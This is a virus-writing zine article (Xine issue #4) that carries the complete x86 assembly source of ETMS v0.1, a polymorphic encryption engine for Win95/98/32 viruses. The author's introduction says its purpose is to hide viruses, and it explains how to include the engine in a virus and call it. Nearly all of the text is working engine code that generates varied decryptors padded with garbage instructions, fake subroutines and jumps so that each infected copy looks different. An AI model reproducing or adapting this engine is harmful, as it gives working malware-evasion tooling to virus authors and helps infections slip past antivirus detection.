Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 300
/-----------------------------\
| Xine - issue #4 - Phile 300 |
\-----------------------------/
;
;
; - expressway to my skull -
; [ETMS] v0.1
; -b0z0/iKX-
;
; Intro:
; This is a polymorphic engine for Win95/98/32 based viruses. It (not sure
; about this anyway) creates quite polymorphic decryptors that could be used
; to hide your virus or something else. Skip some lines to get a tech
; description and try to generate a few samples to see what it can do.
; Somebody could ask which is the sense of such a name for a poly. The answer
; is simple: should there be a reason for everything? I find a lot of things
; totally nonsense, so why should poly engines have a name that could fit for
; a poly engine? I just felt like using this name for my poly and I did so. It
; is somewhat a change from the title of a Sonic Youth song named 'Expressway
; to yr skull' (named also 'The Crucifixion of Sean Penn' or 'Madonna, Sean and
; me'), a song that I like and that I found very near when I was writing this
; poly engine.
;
; Features:
; Basic features:
; - Encryption using XOR/ADD/SUB/ROL/ROR on bytes/words/dwords with
; either fixed (fixed immediate or fixed reg) or changing key
; - Can use all registers as pointers, counters and key holders
; - Can encrypt from start to end and from end to beginning
; - Can create memory reference with offset (ie. [ECX + 1234h])
; - Counter with random costants added, counts both decrementing or
; incrementing its value
; - Key change using XOR/ADD/SUB/ROL/ROR/INC/DEC on bytes/words/dwords
; of the key register
; - Quite some different ways of counting loop
; - Some garbage is encrypted aswell
; - Lenght of generated decryptors range somewhere between 400
; bytes up to 4kbs
;
; Garbage:
; - All the normal math, logical and comparation operations and
; assignations on registers, immediates and memory references
; - Moving and exchanging of registers
; - Push of regs/imms/mem_data, pop to regs
; - Creation of fake subroutines
; - Conditional and unconditional jumps
; - Usual one byte opcodes
; - Temporary saves somewhere (to another register or to stack) important
; registers (such as key, counter and pointer) and makes garbage with
; them.
; - More or less all the usual code you could find around in normal
; programs, excepts memory writes and such. Anyway you'd better give a
; look to some decryptors, it is not easy to write too deeply what it
; does.
;
;
; Using the poly:
; Just add the ETMS source in your virus, simply:
; include etms.asm
; Set the registers as described below and then call the poly. The poly uses
; some data for internal purposes. This data of course is not needed to be
; carried around with your infected file or whatever. You can just include
; the ETMS source at the end of the file and then skip the bytes that start
; from the label _mem_data_start. Of course you'll need to have that free
; memory placed there at runtime.
; The random seed (the dd at seed) should be initialized at first poly
; run to a value between 0 and 714024.
;
; Calling parameters:
; ECX = Lenght of things to be encrypted
; ESI = Pointer to what we want to encrypt
; EDI = Where to place decryptor and encrypted stuff
; EBP = Offset at which decryptor will run
;
; On exit:
; EDI = Pointer to generated code
; ECX = Lenght of generated code (decryptor + encrypted code)
;
; Note:
; I tried to write the poly quite clearly adding quite some comments.
; Nevertheless in some parts the code could be a bit messy or strange since
; I tried to optimize it at least a bit (like converting most of direct
; memory 32bit references to a reference [reg + off8] that are much shorter).
; I apologize for some quite messy code and if you have some problems
; understanding something, please contact me.
;
; Contacts:
; For any question, comment or whatever about the poly or about whatever feel
; free to mail me at cl0wn@geocities.com.
;
;
poly:
cld
push edi
push edi
call poly_delta
poly_delta:
pop eax ; where we are running
sub eax,offset poly_delta
push eax
lea ebx,[offset t_inipnt + eax]
o_tini equ offset t_inipnt ; save some bytes since off between
; various data is a 8b
mov dword ptr [ebx],edi
mov dword ptr [ebx - (o_tini - offset v_lenght)],ecx
mov dword ptr [ebx - (o_tini - offset v_virusp)],esi
mov dword ptr [ebx - (o_tini - offset v_runnin)],ebp
mov dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh
mov dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h
xor eax,eax
mov dword ptr [ebx - (o_tini - offset t_fromend)],eax
mov dword ptr [ebx - (o_tini - offset t_pntoff)],eax
mov dword ptr [ebx - (o_tini - offset t_cntoff)],eax
mov dword ptr [ebx - (o_tini - offset t_inacall) - 2],eax
xor cl,cl
bit_loop:
shl ebp,1
jc founded_first1 ; find higher bit with an 1
inc cl ; for random memory offsets
jmp bit_loop
founded_first1:
mov byte ptr [ebx - (o_tini - offset t_memand)],cl
pop ebp ; delta
push edi
mov al,90h
lea edi,[offset enc_space + ebp]
mov dword ptr [ebx - (o_tini - offset w_encrypt)],edi
mov ecx,enc_max
rep stosb
pop edi
call rnd_garbage
mov ecx,3
lea esi,[offset r_pointer + ebp]
init_part:
push ecx
select_register:
call get_register ; get a unused register
xchg eax,ecx
call set_used ; mark as unusable in future
xchg eax,ebx
select_block:
call get_random_al7
and al,011b
jz select_block ; select from 01 to 03
dec eax
cmp byte ptr [eax+esi],0ffh ; check if that stage already
jne select_block ; done
mov byte ptr [eax+esi],bl ; save the register for that
; stage
or al,al
jnz not_pointer
mov dword ptr [esi - (offset r_pointer - offset w_pointer)],edi
; save offset where the
; pointer is initialized
jmp assign_next
not_pointer:
dec eax
jnz not_counter
mov dword ptr [esi - (offset r_pointer - offset w_counter)],edi
jmp assign_next ; assign inital counter
not_counter:
call get_random ; get key
mov dword ptr [esi - (offset r_pointer - offset v_initkey)],eax
xchg eax,ecx
call get_random
and al,1
jz assign_next ; if so use key
call unset_used
mov byte ptr [esi+2],20h ; don't use key
jmp next_loop
assign_next:
; BL register
; EAX value
xchg eax,ebx ; in bl register
or al,0b8h ; mov base
stosb
xchg eax,ecx
stosd ; the value
next_loop:
call rnd_garbage
pop ecx
loop init_part ; make all init steps
; now some base assignment to a pointer, counter and key (if used) registers
; has been done. here we are gonna change a bit the various registers where
; the various things has been assigned
call get_random_al7
and al,011b ; from 0 to 3 moves
jz decryptor_build_start
xchg eax,ecx
reg_movida:
push ecx
get_whichone:
call select_save ; select which to change (pnt,cnt,key)
jc leave_this_out
call save_mov_xchg ; change the regs using mov or xchg
mov byte ptr [edx],al
leave_this_out:
pop ecx
loop reg_movida
decryptor_build_start:
; decryptor loop begins right here
lea esi,[offset t_chgpnt + ebp]
mov dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi
call get_random ; select if starting from head or from
and ax,0101h ; tail and if counter will dec or inc
mov word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax
xchg eax,edx ; rnd in edx
shl edx,1 ; add a constant to counter?
jnc normal_counter
call get_random
mov dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax
normal_counter:
cmp byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h
; no bp + off
je reget_size_op
shl edx,1 ; select if use only pointer or
jc reget_size_op ; pointer + offset
call get_random ; select random offset
mov dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax
; if using get offset
reget_size_op:
call get_random
mov edx,eax
and eax,0fh ; select math operation and size
or eax,eax ; of operand
jz reget_size_op
; byte word dword
; ror 1 6 b
; sub 2 7 c
; xor 3 8 d
; add 4 9 e
; rol 5 a f
;
no_rorrrpr:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03
; if not ax,cx,dx,bx then can't be byte
jb can_use_all ; as key
cmp al,6 ; is byte? get another
jb reget_size_op
can_use_all:
xor ecx,ecx
mov cl,9
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je no_keychanges
shr edx,8 ; edx has rnd
and edx,011b
mov byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl
add ecx,edx
no_keychanges:
cmp al,0bh
jae ok_counts
sub ecx,4d ; if with words 4 inc/dec less
sub word ptr [esi],0202h
cmp al,06d
jae ok_counts
dec ecx ; for bytes even less
dec ecx
sub word ptr [esi],0101h
ok_counts:
push eax
call rnd_garbage
get_nextseq:
call get_random
and eax,011b
xchg eax,edx
cmp byte ptr [esi+edx],0
je get_nextseq
dec byte ptr [esi+edx]
shl edx,2 ; offset = * 4
sub edx,(offset t_chgpnt - offset o_table)
pop eax
push eax
push ecx
push esi
mov ecx,dword ptr [esi+edx]
add ecx,ebp
call ecx ; call the routine to do it
pop esi
pop ecx
pop eax
loop ok_counts
; finished decryption loop, needs comparation and jumps
call rnd_garbage
xor eax,eax
inc eax
mov ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)]
or ecx,ecx
jnz must_compare
get_checker:
call get_random
and eax,0fh
cmp al,09d
ja get_checker
must_compare:
shr al,1
pushf
mov ah,byte ptr [eax + offset chk_counter + ebp] ; get comparer
add ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
mov al,81h
popf
jc store_d00
inc eax
inc eax
stosw
xor al,al
stosb
jmp make_jumps
store_d00:
stosw
xchg eax,ecx
cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
je not_negcnt1
neg eax
not_negcnt1:
stosd
make_jumps:
call get_random
ror al,1
jc do_withlong
stosw
call make_jmpback ; do jump back, in EAX lenght of jump
cmp eax,7fh ; max short jump offset
jb ok_offsetj
mov edi,ebx ; if > then redo from start
dec edi
dec edi
jmp make_jumps
ok_offsetj:
mov ah,74h ; jne + offset
xchg al,ah
mov word ptr [ebx-2],ax
jmp done_cond
do_withlong:
mov ax,840fh ; jz long
stosw
stosd
call make_jmpback ; do jump back, in EAX lenght of jump
mov dword ptr [ebx-4],eax ; store the lenght
done_cond:
; now decryption loop generation is finished
lea esi,[offset v_lenght + ebp]
mov byte ptr [esi - (offset v_lenght - offset r_used)],10h
; can use all regs (except ESP) again
call rnd_garbage ; unencrypted one, some more here
call rnd_garbage
push edi
call rnd_garbage ; encrypted garbage
pop ecx
neg ecx
add ecx,edi ; how much encrypted garbage
mov edx,ecx
sub edi,edx
add ecx,dword ptr [esi]
shr ecx,2 ; so it will be enough for b/w/d enc
inc ecx
shl ecx,2
pop eax
neg eax
add eax,edi ; lenght of decryptor
add eax,dword ptr [esi - (offset v_lenght - offset v_runnin)]
; running offset
mov ebx,dword ptr [esi - (offset v_lenght - offset w_pointer)]
cmp byte ptr [esi - (offset v_lenght - offset t_fromend)],00h
pushf
je no_adding
add eax,ecx ; from end
no_adding:
sub eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)]
; - pointer offset if is there
mov dword ptr [ebx+1],eax ; set initial pointer
mov ebx,dword ptr [esi - (offset v_lenght - offset w_counter)]
inc ebx
mov eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)]
add eax,ecx
mov dword ptr [ebx],eax
cmp byte ptr [esi - (offset v_lenght - offset t_countback)],00h
je not_negcnt
neg dword ptr [ebx]
not_negcnt:
mov esi,dword ptr [esi - (offset v_lenght - offset v_virusp)]
mov ebx,edi ; pointer on code to encrypt
add edi,edx ; + encrypted garbage
popf
je no_adding2
add ebx,ecx ; add lenght if from end
no_adding2:
push ecx
sub ecx,edx
rep movsb ; copy what to encrypt
pop edx
db 0b9h ; mov ecx
v_initkey dd 00h ; initial key value
enc_max equ 20h
; lenghts
; 6 = max encryption operation
; 4 = max 4 inc/dec counter
; 4 = max 4 inc/dec counter
; 3 * 6 = max 3 * 6 byte key change operations
enc_space:
db enc_max dup (90h) ; here the encryptor will be placed
or edx,edx
jnz enc_space ; loop
mov ecx,edi
pop edi
sub ecx,edi ; total lenght
ret ; poly finished
; - ETMS return point
poly_name db '[ETMS] v0.1 -b0z0/iKX-',0
make_jmpback:
push edi
call rnd_garbage
mov al,0e9h
stosb
mov eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)]
; the jump back to start of
sub eax,04h ; the decryptor
sub eax,edi
stosd
call rnd_garbage
pop eax
mov ebx,eax
neg eax
add eax,edi ; calculate lenght of jump and return
ret ; with it
put_encloop_2:
push ecx
xor ecx,ecx
inc ecx
inc ecx
jmp short put_encloop
put_encloop_1:
push ecx
xor ecx,ecx
inc ecx
put_encloop:
; ecx nr of bytes
push eax
xchg edi,dword ptr [w_encrypt+ebp] ; in EDI where we are in enc
; and save dec position
copy_it:
stosb
shr eax,8
loop copy_it
xchg dword ptr [w_encrypt+ebp],edi ; save next and restore dec pnt
pop eax
pop ecx
ret
o_table:
o_counter dd offset ch_counter
o_pointer dd offset ch_pointer
o_key dd offset ch_key
o_mate dd offset ch_mate
ch_counter: ; decrement/increment counter
mov al,48h ; dec
push eax
or al,02h ; counter in enc uses EDX
call put_encloop_1
pop eax
cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],00h
je decrementing
sub al,08h ; else incrementing counter
decrementing:
or al,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
stosb
ret
ch_pointer: ; increment/decrement pointer
mov al,40h ; inc
cmp byte ptr [esi - (offset t_chgpnt - offset t_fromend)],00h
je straight_up
add al,08h
straight_up:
push eax
or al,03h ; ebx
call put_encloop_1
pop eax
or al,byte ptr [esi - (offset t_chgpnt - offset r_pointer)]
stosb
ret
ch_key: ; change key register
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
je exit_keychange
get_modifier:
call get_random_al7
cmp al,6
ja get_modifier
mov cl,al
mov ah,byte ptr [eax + offset key_changers + ebp]
mov al,81h ; add/sub/xor base
cmp cl,3
jb no_rrrr
mov al,0c1h ; rol/ror base
no_rrrr:
push eax
reget_ksize:
call get_random ; select if byte/word/dword
and al,011b
jz reget_ksize
cmp cl,04h ; inc dec just on dw and dd
jb isntincdec
cmp al,01h
je reget_ksize
isntincdec:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3
jbe canall
cmp al,01b ; byte keychange only for ax,cx,dx,bx
je reget_ksize
canall:
mov ch,al
pop eax
cmp ch,01h
jne no_decbyte
dec al
no_decbyte:
cmp ch,02h
jne no_wordprefix
push eax
mov al,66h
stosb
call put_encloop_1
pop eax
no_wordprefix:
cmp cl,05h
pushf
jb no_incdecch ; inc/dec has just one byte opcode
dec edi
mov al,byte ptr [edi]
no_incdecch:
popf
push eax
jb no_nopneeded
mov al,ah
or al,1 ; ecx key in enc loop
call put_encloop_1 ; for inc/dec
jmp short after_store
no_nopneeded:
or ah,1 ; key is ECX in enc loop
call put_encloop_2
after_store:
pop eax
or ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)]
stosw
cmp cl,05 ; inc/dec doesn't need any key
jae exit_keychange
call get_random
cmp cl,03
jae just_one_bk ; ror/rol just one byte key
cmp ch,01h
je just_one_bk ; check dimension of key modifier
stosb
call put_encloop_1
shr eax,8h
cmp ch,02h
je just_one_bk
stosw
call put_encloop_2
shr eax,10h
just_one_bk:
stosb
call put_encloop_1
exit_keychange:
ret
ch_mate: ; creates the decryption math operation
xor edx,edx
mov ecx,5h
type_sel:
cmp eax,ecx
jbe ok_regs
inc edx
sub eax,ecx
jmp type_sel ; get type and size.. in EDX size, in EAX type
; edx = 0 for byte, 1 for word, 2 for dword
ok_regs:
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
lea esi,[offset _math_imm + ebp]
je without_key
add esi,(offset _math_key - offset _math_imm)
without_key:
dec eax ; type - 1
push esi
push eax
shl eax,1 ; each type is a word
add esi,eax
lodsw ; ax = mathop word
cmp dl,1
jne not_word
push eax
mov al,066h
stosb
call put_encloop_1
pop eax
not_word:
or dl,dl
jnz not_byte
dec al
not_byte:
pop ebx ; type - 1
pop esi ;
push ebx
push eax
neg ebx
add ebx,4 ; get opposite math operation
shl ebx,1
add esi,ebx
lodsw
lea esi,[offset r_regkey + ebp]
cmp byte ptr [esi],20h
je ok_regskey
cmp al,0d3h
je ok_regskey
add ah,08h ; since ECX is used as key
ok_regskey:
or dl,dl
jnz not_byterev
dec al
not_byterev:
add ah,03h ; in enc loop using EBX
call put_encloop_2
pop eax
mov cl,byte ptr [esi - (offset r_regkey - offset r_pointer)]
cmp cl,03h ; eax-ebx
ja upper_ones
add ah,cl
jmp ok_register_p
upper_ones:
add ah,06h
cmp cl,06h ; esi
je ok_register_p
inc ah
cmp cl,07h ; edi
je ok_register_p
add ah,03eh ; ebp
ok_register_p:
pop ecx ; type-1
cmp dword ptr [esi - (offset r_regkey - offset t_pntoff)],0
je not_plusoff
add ah,80h
not_plusoff:
stosw
xor eax,eax
cmp byte ptr [esi],20h ; using key?
je ok_register_k
or cl,cl
je check_rr
cmp cl,4
jne not_rol_ror
check_rr:
cmp byte ptr [esi],1 ; is key CX (cl)
je ok_register_k
mov al,10h ; if not put just immediate
sub byte ptr [edi-2],12h
mov ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)]
sub byte ptr [ebx-2],12h
push ecx
mov bl,20h
xchg bl,byte ptr [esi] ; won't use key reg anymore in the
call unset_used ; future, so use for garbage
pop ecx
jmp short ok_register_k
not_rol_ror:
mov al,byte ptr [esi]
shl eax,3 ; * 8
add byte ptr [edi-1],al ; key register
ok_register_k:
cmp byte ptr [esi - (offset r_regkey - offset r_pointer)],05h
jne not_usingbp
mov byte ptr [edi],00h
inc edi
not_usingbp:
mov eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)]
or eax,eax
jz no_offsetadd
stosd
no_offsetadd:
cmp byte ptr [esi],20h
jne no_key_needed
mov eax,dword ptr [esi - (offset r_regkey - offset v_initkey)]
or cl,cl
je byte_key
cmp cl,4
je byte_key
or dl,dl
je byte_key
stosb
call put_encloop_1
shr eax,8
dec dl
jz byte_key
stosw
call put_encloop_2
shr eax,10h
byte_key:
stosb
call put_encloop_1
no_key_needed:
ret
rnd_garbage:
push ecx
push eax
call get_random
and eax,0fh ; max - 1
inc eax ; not zero
xchg eax,ecx
garbager:
; ecx how many
push edx
push ebx
garbager_loop:
push ecx
get_op_type:
call get_random ; how many possible types
and eax,0fh
mov ecx,[(eax*4)+offset garbage_offsets+ebp]
add ecx,ebp
call ecx ; call garbage routine
pop ecx
loop garbager_loop
mov eax,dword ptr [t_pushed+ebp]
cmp eax,000005h ; if not in a call, not in a jump and
ja stack_is_ok ; pushed <=5
or eax,eax
jz stack_is_ok
inc byte ptr [t_inacall+ebp]
cmp al,01h
ja direct_addesp
call do_pop_nocheck
jmp stack_is_ok
direct_addesp:
push eax ; then correct stack
mov ax,0c483h ; add esp,nr_dd * 4
stosw
pop eax
call force_popall
stack_is_ok:
pop ebx
pop edx
pop eax
pop ecx
ret
do_push:
cmp byte ptr [t_pushed+ebp],05h ; max dwords on the stack
ja exit_pusher
inc byte ptr [t_pushed+ebp]
call get_random ; 4 types of pushing
and al,011b
jz push_register ; normal push reg
dec al
jz push_immediate_dd ; push immediate double
dec al
jz push_immediate_by ; push immediate byte
mov ax,35ffh ; push immediate from memory
stosw
call get_address
jmp pre_exit_dd
push_immediate_by:
mov al,6ah
stosb
call get_random
shr al,1
jc zero_or_menouno
call get_random ; normal push as byte
jmp pre_exit_pusher
zero_or_menouno: ; very usual pushes
and al,01b ; so we will get 0 or -1
dec al ; to LARGE 0 or to LARGE -1
jmp pre_exit_pusher
push_immediate_dd:
mov al,68h
stosb
call get_random
pre_exit_dd:
stosd ; normal push as double
jmp exit_pusher
push_register:
call get_random_al7
add al,050h
pre_exit_pusher:
stosb
exit_pusher:
jmp exit_ppc
do_pop:
cmp byte ptr [t_pushed+ebp],00h
je return_nopop
do_pop_nocheck:
call get_random
shr al,1
jnc popintoreg2
mov ax,0c483h ; add esp,
stosw
get_number:
call get_random_al7
jz get_number
cmp al,byte ptr [t_pushed+ebp]
ja get_number
force_popall:
sub byte ptr [t_pushed+ebp],al
shl al,2 ; dd are pushed, so * 4
jmp store_ngo2
popintoreg2:
call get_register
add cl,058h ; pop in a register
xchg eax,ecx
dec byte ptr [t_pushed+ebp]
store_ngo2:
stosb
return_nopop:
jmp exit_ppc
call_subroutines:
cmp word ptr [t_maxjmps+ebp],0h ; don't nest too much nor
jne just_exit_call ; put pushes/pops in subs and
; we can't know wassup in
; conditional jumps and such
inc byte ptr [t_inacall+ebp]
call get_random_al7
cmp al,01h ; 00h and 01h push
jbe do_push
cmp al,05 ; 02h - 05h pops (more probable so final stack
jbe do_pop ; correction should be needed less often)
; 06,07 do a call
mov al,0e8h
stosb
stosd ; place for offset
push edi
call rnd_garbage
pop ebx
mov al,0e9h
stosb
stosd ; jump offset
push edi
call rnd_garbage
push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx
mov dword ptr [ebx-4],eax ; call offset
call rnd_garbage ; this is the called "subroutine"
call get_random ; more ways of getting back from subroutine,
shr al,1 ; either with normal ret or by correcting the
jnc normal_ret ; stack by popping or by adding to esp
shr al,1
jnc popintoreg
mov ax,0c483h ; add esp,
stosw
mov al,4
jmp store_ngo
popintoreg:
call get_register
add cl,058h ; pop base
xchg eax,ecx
jmp store_ngo
normal_ret:
mov al,0c3h ; ret
stosb
call get_random_al7
cmp al,3
ja no_ccs
xchg eax,ecx
mov al,0cch ; int3, usual after subroutines in win32s
rep stosb
store_ngo:
stosb
no_ccs:
call rnd_garbage
pop ebx ; jump offset
push ebx
neg ebx
add ebx,edi
xchg eax,ebx
pop ebx
mov dword ptr [ebx-4],eax
exit_ppc:
dec byte ptr [t_inacall+ebp]
just_exit_call:
ret
maths_immediate_short:
stc
jmp maths_immediate_1
maths_immediate:
clc
maths_immediate_1:
pushf
call get_random_al7 ; 0 to 7
shl al,3 ; * 8
add al,0c0h ; the base
popf
push eax
pushf
call get_register
add al,cl
mov ah,81h ; prefix
popf
pushf
jnc not_a_shortone
inc ah
inc ah
not_a_shortone:
xchg ah,al
stosw
call g_dimension
popf
jnc not_a_shortone2
mov cl,01h
not_a_shortone2:
call put_immediates
pop eax
cmp al,0f8h ; is a CMP
jne not_compare
make_jmp_after_cmp:
call get_random
and eax,01b ; long or short jump
add al,06h ; short jump
jmp make_jump
not_compare:
ret
cdq_jmps_savestack:
call get_random_al7
sub al,3
jc exit_c_j_ss
xchg eax,ecx
mov al,byte ptr [ecx+offset change_jump+ebp]
cmp cl,1
ja not_cdq_cbw
test byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde
jnz exit_c_j_ss
stosb
inc edi
call g_dimension
dec edi
jmp exit_c_j_ss
not_cdq_cbw:
cmp cl,4
je pushandmov
add cl,4 ; this is used for dimension
jmp do_that_fjump ; do as for conditional ones
pushandmov:
call select_save
jc exit_c_j_ss
xchg eax,ebx
mov al,50h ; push
xor ch,ch ; so it won't be erased from stack
xchg ch,byte ptr [t_pushed+ebp]
push ecx
call unset_used ; mark that as unused one
add al,bl ; push the reg
stosb
call rnd_garbage
add al,08h ; pop opcode
stosb
pop ebx
mov byte ptr [t_pushed+ebp],bh
mov byte ptr [r_used+ebp],bl
exit_c_j_ss:
ret
gen_one_byters:
call get_random_al7
make_jump:
mov cl,al
mov al,byte ptr [eax+offset one_byters+ebp] ; get onebyter
cmp cl,05h
jbe not_jump
do_that_fjump:
cmp byte ptr [t_maxjmps+ebp],3 ; don't nest too much
je just_exit
inc byte ptr [t_maxjmps+ebp]
cmp al,0e9h ; for unconditional ones skip some
jae skip_unc ; things
cmp cl,07h
jne not_longjump
push eax
mov al,0fh ; long prefix
stosb
pop eax
not_longjump:
push eax
call get_random
and al,0fh
mov ch,al
pop eax
add al,ch
skip_unc:
stosb ; type of jump
stosb ; first off
cmp cl,07h
jne not_longone
dec edi
stosd
not_longone:
push edi
call rnd_garbage
pop ebx
mov eax,edi
sub eax,ebx ; offset of jump
dec byte ptr [t_maxjmps+ebp]
cmp cl,7
je long_jumper
cmp eax,7fh ; if not too big then use it
jb good_jump
mov edi,ebx ; else forget everything
dec edi
dec edi
ret
good_jump:
mov byte ptr [ebx-1],al
ret
long_jumper:
mov dword ptr [ebx-4],eax
ret
not_jump:
stosb
just_exit:
ret
mem_assign:
mov ax,058bh
jmp mem_common
mem_mathops:
call get_random_al7 ; 0 to 7
shl al,3
add al,03h ; base
mem_common:
push eax
call get_register
shl cl,3 ; *8
add cl,05h ; base for eax
mov ah,cl
stosw
call g_dimension
; now offset
call get_address
stosd
pop eax
cmp al,3bh ; is a cmp
je make_jmp_after_cmp ; if so force a compare
ret
mov_registers:
call get_random_al7 ; random source
add al,0c0h
mov ah,08bh
call get_register ; useful dest
shl cl,3
add al,cl
xchg ah,al
stosw
jmp g_dimension
maths_registers:
call get_random_al7
shl al,3
add al,03h ; base
mov ah,0c0h ; suff
push eax
call get_register ; dest
shl cl,03h
add ah,cl
xchg eax,ecx ; save temp in ecx
call get_random_al7 ; all regs
xchg eax,ecx ; reg in ECX and restore EAX
add ah,cl
stosw
call g_dimension
pop eax
cmp al,3bh
je make_jmp_after_cmp
ret
rotating_imms:
call get_random_al7
cmp al,0110b ; 0f0 doesn't exist
je rotating_imms
shl al,3 ; *8
add al,0c0h
call get_register
add al,cl
mov ah,0c1h
xchg al,ah
stosw
call g_dimension
xor ecx,ecx
inc cl
jmp put_immediates
notneg_register:
call get_random
shr al,1
mov ax,0d0f7h
jc not_add
add ah,08h
not_add:
call get_register
add ah,cl
stosw
; jmp g_dimension
g_dimension:
; EDI after generated garb
reget_dim:
call get_random
and eax,010b ; 0 or 2
jnz no_change
word_change:
mov ecx,dword ptr [edi-2]
mov byte ptr [edi-2],66h ; the prefix
mov dword ptr [edi-1],ecx
inc edi
no_change:
inc eax
inc eax
xchg eax,ecx ; in ECX needed immediates
ret
imm_assign:
call get_register
mov al,0b8h ; base
add al,cl
stosb
inc edi
call g_dimension
dec edi
; jmp put_immediates
put_immediates:
; cl how many
call get_random
put_imm_part:
stosb
shr eax,8
loop put_imm_part
ret
inc_dec_reg:
call get_random
and al,01b
shl al,3 ; * 8, so will be 0 or 8
add al,40h ; incdec generation
call get_register
add al,cl
stosb
inc edi
call g_dimension
dec edi
ret
xchg_regs:
mov ax,0c087h ; xchg eax,eax
call get_register
add ah,cl
call get_register
common_test_xchg:
shl cl,3
add ah,cl
stosw
jmp g_dimension
test_regs:
mov ax,0c085h ; test eax,eax
push eax
call get_random_al7
mov ch,al
call get_random_al7
mov cl,al
pop eax
add ah,ch
jmp common_test_xchg
temp_save_change:
call get_random_al7
sub al,6 ; 1/4 probability, since this couldn't
jc skip_changer ; come too often
call select_save
jc skip_changer
push ecx
call save_mov_xchg
xchg eax,ecx ; in al new register
mov al,byte ptr [edx] ; imp_reg
shl al,3
xchg eax,ecx
add al,cl
or al,0c0h
xchg al,ah
stosw ; mov important_reg,some_reg
pop ebx
mov byte ptr [r_used+ebp],bl ; restore regs status
skip_changer:
ret
select_save:
call get_random_al7
sub al,5 ; get from 0 to 2
jc select_save
xchg eax,edx
add edx,offset r_pointer
add edx,ebp
mov al,byte ptr [edx]
cmp al,0ffh ; not already assigned?
je exit_bad
cmp al,20h ; no key signature, if so skip
je exit_bad
call is_used ; maybe is already saved on stack or
jnz return_good ; such?
exit_bad:
stc
ret
return_good:
mov cl,byte ptr [r_used+ebp]
clc
ret
save_mov_xchg:
xchg eax,ebx
call get_register ; get an usable register
xchg eax,ecx
call set_used ; set this one as used
call unset_used ; and the previous as unused
mov ah,087h ; xchg reg,reg base
push eax
xor ecx,ecx
call get_random ; select if using mov or xchg
shr al,1
jc use_mov_first
mov cl,4 ; + 4 becames mov reg,reg base
use_mov_first:
shr al,1 ; when just saving this won't be used
jc use_mov_after ; select whichone for restore aswell
mov ch,4
use_mov_after:
pop eax
add ah,ch ; restore one
push eax
sub ah,ch
add ah,cl
shl al,3 ; * 8
add al,bl
or al,0c0h ; mov some_reg,important_reg
xchg al,ah
stosw ; put the moving of regs
call rnd_garbage
pop eax
ret
; tables for various purposes
garbage_offsets:
dd offset call_subroutines
dd offset gen_one_byters
dd offset mov_registers
dd offset mem_assign
dd offset mem_mathops
dd offset maths_immediate
dd offset maths_immediate_short
dd offset maths_registers
dd offset rotating_imms
dd offset notneg_register
dd offset imm_assign
dd offset inc_dec_reg
dd offset xchg_regs
dd offset test_regs
dd offset temp_save_change
dd offset cdq_jmps_savestack
one_byters db 090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h
change_jump db 098h,099h,0ebh,0e9h
_math_imm:
dw 008c1h ; ror d[ebx],imm
dw 02881h ; sub d[ebx],imm
dw 03081h ; xor d[ebx],imm
dw 00081h ; add d[ebx],imm
dw 000c1h ; rol d[ebx],imm
_math_key:
dw 008d3h ; ror d[ebx],cl
dw 00029h ; sub d[ebx],eax
dw 00031h ; xor d[ebx],eax
dw 00001h ; add d[ebx],eax
dw 000d3h ; rol d[ebx],cl
; cmp,or,xor,sub,add
chk_counter db 0f8h,0c8h
key_changers db 0e8h,0f0h,0c0h ; xor sub add
db 0c0h,0c8h ; ror rol
db 040h,048h ; inc dec
get_address:
push esi
mov ebx,edi
lea esi,[offset v_runnin + ebp]
sub ebx,dword ptr [esi - (offset v_runnin - offset t_inipnt)]
; actual decryptor lenght
add ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)]
mov edx,dword ptr [esi]
db 0b1h ; mov cl,
t_memand db 00h ; significant bytes present
add edx,ebx
search_offset2:
call get_random
shl eax,cl
shr eax,cl
cmp eax,dword ptr [esi] ; is < starting off of poly?
jb search_offset2
look_foroff2:
cmp eax,edx ; upper border
jbe ok_offset2
sub eax,ebx
jmp look_foroff2
ok_offset2:
pop esi
ret
get_random_al7:
call get_random
and eax,0111b
ret
get_random:
push ebx
push edx
db 0b8h ; mov eax,
seed dd 000h ; random seed, must be < im
mov ebx,4096d ; ia
mul ebx
add eax,150889d ; ic
adc edx,0
mov ebx,714025d ; im
push ebx
div ebx
mov dword ptr [seed+ebp],edx
xchg eax,edx
cdq
xor ebx,ebx
dec ebx
mul ebx ; * 2^32 - 1
pop ebx
div ebx ; here we have a 0<=rnd<=2^32
pop edx
pop ebx
ret
is_used:
; AL register
push eax
mov cl,al
mov al,1
shl al,cl
test byte ptr [r_used+ebp],al
pop eax
; Z = register not used
; NZ = register used
ret
set_used:
; AL register
push eax
mov cl,al
mov al,1
shl al,cl
or byte ptr [r_used+ebp],al
pop eax
ret
unset_used:
; BL register
push eax
mov cl,bl
mov al,1
shl al,cl
not al
and byte ptr [r_used+ebp],al
pop eax
ret
get_register:
push eax
reget_reg:
call get_random_al7
call is_used
jnz reget_reg ; check we aren't using it
; the is_used will put the reg in cl
pop eax
ret
; how much memory does the ETMS need, so you can substract from the lenght
; of the virus on file of course
